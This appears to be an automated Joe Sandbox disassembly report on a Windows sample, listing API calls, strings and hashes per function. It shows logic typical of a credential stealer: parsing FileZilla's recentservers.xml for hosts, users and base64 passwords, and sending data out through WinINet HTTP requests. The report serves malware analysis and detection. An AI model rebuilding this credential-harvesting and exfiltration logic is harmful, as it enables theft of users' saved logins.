Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 00407770 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00416414,?), ref: 00407784
RtlAllocateHeap.NTDLL(00000000,?,00416414,?), ref: 0040778B
lstrcatA.KERNEL32(?,0084FE48,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 0040793B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 0040794F
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407963
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407977
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 0040798B
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 0040799F
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 004079B2
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 004079C6
lstrcatA.KERNEL32(?,008509F0,?,00416414,?), ref: 004079DA
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 004079EE
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A02
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A16
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 00407A29
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 00407A3D
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 00407A51
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 00407A64
lstrcatA.KERNEL32(?,00850ED0,?,00416414,?), ref: 00407A78
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A8C
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AA0
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AB4
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 00407AC8
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 00407ADB
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 00407AEF
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 00407B03
lstrcatA.KERNEL32(?,00850A58,?,00416414,?), ref: 00407B16
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B2A
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B3E
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B52
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 00407B66
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 00407B7A
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 00407B8D
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 00407BA1
lstrcatA.KERNEL32(?,00850920,?,00416414,?), ref: 00407BB5
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BC9
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BDD
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BF1
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 00407C04
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 00407C18
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 00407C2C
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 00407C3F
lstrcatA.KERNEL32(?,00850BF8,?,00416414,?), ref: 00407C53
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C67
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C7B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C8F
lstrcatA.KERNEL32(?,00860E70,?,00416414,?), ref: 00407CA3
lstrcatA.KERNEL32(?,00860EA0,?,00416414,?), ref: 00407CB6
lstrcatA.KERNEL32(?,00860EB8,?,00416414,?), ref: 00407CCA
lstrcatA.KERNEL32(?,00860BD0,?,00416414,?), ref: 00407CDE

Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,00000000,00000000), ref: 004076A8
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020, : ), ref: 004076BA
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,00000000,00000000,00000000), ref: 004076EF
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,00421934), ref: 00407700
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,00000000,00000000,00000000), ref: 00407733
Part of subcall function 00407630: lstrcatA.KERNEL32(27276020,00421938), ref: 0040774D
Part of subcall function 00407630: task.LIBCPMTD ref: 0040775B

lstrcatA.KERNEL32(?,0085DCA0,?,00000104), ref: 00407E6B
lstrcatA.KERNEL32(?,00861358), ref: 00407E7E
lstrlenA.KERNEL32(27276020), ref: 00407E8B
lstrlenA.KERNEL32(27276020), ref: 00407E9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction ID: 0e0c3d68e69f6296a9396c1eab42491480c8bc0a3d7b858fcfddc2671413b035
Opcode Fuzzy Hash: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction Fuzzy Hash: E83264B6D04254ABCB14EB60DC95DDE733EAB48315F004A9EF209A2090EE79F789CF55

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

url: , xrefs: 004106D7
<Port>, xrefs: 00410526
<Pass encoding="base64">, xrefs: 004105BA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
password: , xrefs: 0041075B
<Host>, xrefs: 004104DC
<User>, xrefs: 00410570
profile: null, xrefs: 004106C8
browser: FileZilla, xrefs: 004106B9
login: , xrefs: 0041072A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 04c5fda09e3fc148a22b64ca2f85c2ba15c2f0aae814a563fbc4072956e15190
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: 04c5fda09e3fc148a22b64ca2f85c2ba15c2f0aae814a563fbc4072956e15190
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 00419BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0085BE80), ref: 00419BF1
GetProcAddress.KERNEL32(74DD0000,0085BE98), ref: 00419C0A
GetProcAddress.KERNEL32(74DD0000,0085BEB0), ref: 00419C22
GetProcAddress.KERNEL32(74DD0000,0085C2E8), ref: 00419C3A
GetProcAddress.KERNEL32(74DD0000,0085C288), ref: 00419C53
GetProcAddress.KERNEL32(74DD0000,008567C8), ref: 00419C6B
GetProcAddress.KERNEL32(74DD0000,00855730), ref: 00419C83
GetProcAddress.KERNEL32(74DD0000,00855890), ref: 00419C9C
GetProcAddress.KERNEL32(74DD0000,0085C468), ref: 00419CB4
GetProcAddress.KERNEL32(74DD0000,0085C378), ref: 00419CCC
GetProcAddress.KERNEL32(74DD0000,0085C318), ref: 00419CE5
GetProcAddress.KERNEL32(74DD0000,0085C258), ref: 00419CFD
GetProcAddress.KERNEL32(74DD0000,008558B0), ref: 00419D15
GetProcAddress.KERNEL32(74DD0000,0085C300), ref: 00419D2E
GetProcAddress.KERNEL32(74DD0000,0085C1E0), ref: 00419D46
GetProcAddress.KERNEL32(74DD0000,00855670), ref: 00419D5E
GetProcAddress.KERNEL32(74DD0000,0085C498), ref: 00419D77
GetProcAddress.KERNEL32(74DD0000,0085C228), ref: 00419D8F
GetProcAddress.KERNEL32(74DD0000,00855690), ref: 00419DA7
GetProcAddress.KERNEL32(74DD0000,0085C420), ref: 00419DC0
GetProcAddress.KERNEL32(74DD0000,008558D0), ref: 00419DD8
LoadLibraryA.KERNEL32(0085C2D0,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(0085C330,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(0085C348,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(0085C438,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(0085C450,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75A70000,0085C360), ref: 00419E52
GetProcAddress.KERNEL32(75290000,0085C3F0), ref: 00419E73
GetProcAddress.KERNEL32(75290000,0085C390), ref: 00419E8B
GetProcAddress.KERNEL32(75BD0000,0085C3A8), ref: 00419EAD
GetProcAddress.KERNEL32(75450000,008556B0), ref: 00419ECE
GetProcAddress.KERNEL32(76E90000,008567D8), ref: 00419EEF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419F06

Strings

NtQueryInformationProcess, xrefs: 00419EFA

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,00862828), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,00862758,?,008620D0,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,008627D8,00000000,?,00859518,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
RtlAllocateHeap.NTDLL(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 00405407
", xrefs: 00405614
------, xrefs: 004052E7
", xrefs: 00405756
--, xrefs: 004052D0
------, xrefs: 0040568B
", xrefs: 004054D2
------, xrefs: 00405549

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: 5e4864626c656c39b9097cefa1032f655780866d478f7331389b7a0a7969c8b9
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: 5e4864626c656c39b9097cefa1032f655780866d478f7331389b7a0a7969c8b9
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,00862828), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00862848,00000000,?,00859518,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
